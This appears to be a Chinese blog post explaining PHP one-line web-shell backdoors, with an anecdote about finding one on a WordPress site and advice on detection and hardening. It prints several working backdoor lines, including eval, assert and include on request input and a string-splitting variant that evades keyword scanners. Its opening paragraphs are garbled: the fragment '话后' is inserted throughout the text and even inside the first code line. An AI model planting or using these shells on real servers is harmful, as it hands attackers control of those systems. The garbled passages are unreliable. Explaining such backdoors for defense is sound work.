php一句话后门

 人参与 | 时间:2026-10-17 07:29:58

一个PHP文件里,话后如果存在这样一行代码:

<?话后php @eval($_POST['cmd']); ?>

那么这台服务器基本上就不属于原来的主人了。这行代码只有短短二十几个字符,话后没有循环、话后没有条件判断、话后没有复杂的话后函数调用,但它打开的话后门,比很多人想象的话后要大得多。

这就是话后俗称的"一句话后门"。名字起得直白,话后因为它的话后体积确实小到可以塞进任何地方——图片的EXIF注释里、日志文件的话后末尾、一个看似正常的话后functions.php的某一行注释后面。上传上去之后,话后攻击者只需要往这个文件发送一个POST请求,话后cmd参数里写什么,服务器就执行什么。

我第一次接触这东西是在一个朋友的WordPress站点上。他的网站突然开始往外发垃圾邮件,主机商直接把他的账户停了。我帮他翻文件,翻了半天没找到异常。后来用find . -name "*.php" | xargs grep -l "eval"搜了一遍,在一个wp-content/uploads/2019/目录下发现了一个叫cache.php的文件,打开一看,就一行:

<?php @eval($_REQUEST['a']); ?>

文件时间戳是三个月前。他说那个目录根本不应该有PHP文件,WordPress默认也会在上传目录禁用PHP执行,但他的主机配置没做这个限制。

为什么叫"一句话"?因为它真的只需要一句话。PHP的eval()函数把字符串当代码执行,$_POST、$_GET、$_REQUEST这些超全局变量直接接收外部输入。两者一结合,等于给攻击者开了一个交互式的shell。更隐蔽的写法还有:

<?php assert($_POST['x']); ?> <?php @include($_GET['page']); ?> <?php $a = 'sys'.'tem'; $a($_POST['c']); ?>

第三种写法把函数名拆开拼接,静态扫描工具如果只匹配system这个关键词,就会漏掉。

这类后门通常不是攻击的起点,而是结果。攻击者先通过插件漏洞、弱密码、文件包含等方式拿到写入权限,然后丢一个一句话进去,作为长期驻留的入口。它不像webshell管理工具那样功能齐全,但胜在轻量、隐蔽、不容易被规则匹配到。有些变种还会把eval换成preg_replace的/e修饰符(PHP 7之前)、create_function,或者利用反引号执行命令。

防御这件事,说复杂也复杂,说简单也简单。几个实际有效的做法:上传目录禁止PHP解析,这个在Nginx里加一条location ~* /uploads/.*\.php$ { deny all; }就能挡住大部分;disable_functions里禁用eval、assert、system、exec这些函数,虽然不能完全堵死,但能提高门槛;定期用grep搜一遍网站目录里所有PHP文件中的可疑函数调用。

但最根本的问题不在技术层面。我见过太多站点,PHP版本停留在5.6,插件三年没更新,后台密码是admin123。这种状态下,装再多安全插件也是心理安慰。一句话后门之所以能生效,往往是因为前面已经有一百个环节失守了。

还有一点容易被忽略:一句话后门不一定是攻击者留下的。有些开发者为了调试方便,自己往生产环境里塞了一个eval,然后忘了删。这种情况我至少遇到过两次。日志里看到有人在反复请求那个文件,参数是phpinfo(),大概率是扫描器在探测,也可能只是某个无聊的人在碰运气。

不管怎样,如果你在服务器上发现了这行代码,不要只是删掉文件就完事。得搞清楚它是怎么进来的,什么时候进来的,期间有没有被利用过。删一个文件只需要一秒,但补上那个让它进来的洞,可能需要一整天。

顶: 1857踩: 55984